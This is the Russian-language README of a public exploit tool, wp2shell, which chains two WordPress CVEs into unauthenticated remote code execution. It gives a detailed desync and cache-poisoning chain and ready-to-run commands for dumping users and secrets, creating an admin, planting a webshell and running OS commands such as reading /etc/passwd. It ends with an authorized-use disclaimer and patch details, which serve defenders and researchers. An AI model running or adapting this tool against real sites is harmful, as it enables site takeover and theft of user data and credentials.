
PoC для CVE-2026-63030 + CVE-2026-60137, также известен как WP2Shell
Удалённое выполнение кода без аутентификации для WordPress 6.9.0–6.9.4 и 7.0.0–7.0.1.
Объединяет CVE-2026-63030 (SQLi через путаницу маршрутов batch-запросов) с CVE-2026-60137 (повторный вход через changeset кастомайзера) для создания администратора без аутентификации и выполнения команд ОС. Подбор паролей не требуется.

Благодарность hashkitten за обнаружение, полный технический анализ SLCyber читайте здесь.
Обработчик batch-запросов REST API WordPress (serve_batch_request_v1) содержит ошибку индексации off-by-one: когда wp_parse_url() не срабатывает на пути подзапроса, результирующий WP_Error добавляется в $validation[], но не в $matches[]. Это рассинхронизирует два массива — каждый последующий запрос направляется не тому обработчику.
Вкладывая тщательно структурированный batch внутрь другого batch, атакующий может:
author__not_in (приведение строка→массив пропускает absint())UNION SELECT для отравления объектного кэша WordPress поддельными объектами записейПосле завершения подготовки (определение префикса таблиц и ID администратора) нагрузка эскалации срабатывает за один HTTP-запрос — отравление кэша, повышение привилегий и создание пользователя происходят на стороне сервера за один цикл запроса-ответа.
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
Отравление кэша (7 поддельных записей через UNION):
[embed] в её содержимомcustomize_changeset, статус future, дата в прошлом)post_type=nav_menu_item для проверки is_nav_menu_item)post_type=request, post_status=parse, parent=inner)Порядок выполнения:
[embed]wp_update_postwp_update_post читает кэшированный changeset (parent=outer) → проверка иерархии обнаруживает Loop 1future → автоматически преобразуется в publish_wp_customize_publish_changeset → wp_set_current_user(admin_id) → активен контекст администратораnav_menu_item[real_id] — кэш сообщает type=nav_menu_item → путь UPDATEobject_id разрешается в кэшированную запись с post_parent=re-entry → wp_update_post по реальной записиАнти-рекурсивная переменная сессии MySQL (@_wp2s) гарантирует, что цепочка срабатывает ровно один раз и не зацикливается.
--cleanup удаляет созданного пользователя и веб-шелл при выходеgit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Никакого pip install, никакого virtualenv. Это один файл.
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i
# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
Команды check и read работают на любой затронутой цели. Цепочка exploit имеет три дополнительных требования:
Если цель использует Redis или Memcached в качестве объектного кэша, split_the_query принудительно включается независимо от per_page, и строки UNION отбрасываются при выборке только ID. Команда read по-прежнему работает (слепое извлечение не требует, чтобы UNION сохранялся в кэше), но exploit завершится ошибкой.
| Ветка | Уязвимые | Исправленные |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
Патч добавляет $matches[] = $single_request; для случаев ошибок (исправляя off-by-one) и защиту от повторного входа в serve_request().
wp2shell.py (single file, ~1650 lines)
├── Client HTTP transport with batch URL negotiation
├── Desync Nested batch payload construction
├── BlindExtractor Boolean binary search (universal)
├── UnionExtractor In-band via forged post_title (fastest)
├── ErrorExtractor EXTRACTVALUE-based (intermediate)
├── PoisonGraph Hierarchy loop structure for cache poisoning
├── Exploiter Chain orchestration (seed → extract → escalate)
└── AdminSession Authenticated session, webshell, cleanup
Почему /wp/v2/widgets в качестве исходного маршрута?
Контроллер Widgets не регистрирует per_page, orderby или author_exclude в схеме своей конечной точки. Эти параметры проходят проверку без изменений (неизвестные параметры игнорируются валидатором схемы). Когда desync направляет этот запрос через контроллер Posts, эти сырые значения напрямую попадают в WP_Query.
Почему per_page=500?
class-wp-query.php:3375 — split_the_query требует !empty($limits) && posts_per_page < 500. При per_page=500 условие 500 < 500 ложно, поэтому split_the_query отключён. Полный запрос (включая UNION) выполняется как один оператор, и все внедрённые строки сохраняются в результирующем наборе и кэше.
Почему nav_menu_item[real_id] (положительный ID)?
Использование положительного ID записи приводит к пути UPDATE в nav-menu.php:614, который вызывает wp_update_post с ненулевым $post_id. Это критично, потому что wp_check_post_hierarchy_for_loops в post.php:8070 выполняет ранний выход при $post_id = 0 (новые записи). Кэш отравляется значением post_type=nav_menu_item для этого ID, поэтому is_nav_menu_item() проходит проверку типа в nav-menu.php:426. Затем путь UPDATE запускает проверку иерархии, которая обнаруживает Loop 2.
Почему два цикла иерархии?
Loop 1 (changeset ↔ outer) запускает публикацию changeset и устанавливает контекст администратора. Loop 2 (re-entry ↔ inner) срабатывает в окне администратора (внутри вызова save() настройки элемента меню навигации в цикле публикации changeset) и запускает parse_request → повторный вход в REST. Циклы независимы, потому что fix-up Loop 2 должен записать запись повторного входа в БД в окне администратора на строке 3581 — до сброса на строке 3589.
Этот инструмент опубликован для авторизованного тестирования безопасности и исследовательских целей. Используйте его только в отношении систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам является незаконным.
Исследование и разработка: CryptoCat.
$post_idwp_update_post(re-entry) → записывает type=request, status=parse в БДwp_transition_post_status запускает do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users в хвосте выполняется успешно → администратор создан → die()| Требование | Зачем | По умолчанию в WP? |
|---|
| Хотя бы одна опубликованная запись | oEmbed требует локальный URL для запуска обработки embed | Да (Hello World) |
| Отсутствие постоянного объектного кэша | Split-the-query должен быть отключён, чтобы строки UNION выжили | Да (по умолчанию файловый кэш) |
| REST API доступен | Повторный вход через parse_request требует REST-сервер | Да |
| Прямая запись в файловую систему | Загрузка плагина требует FS_METHOD=direct или владельца wp-content у PHP | Да (большинство хостов) |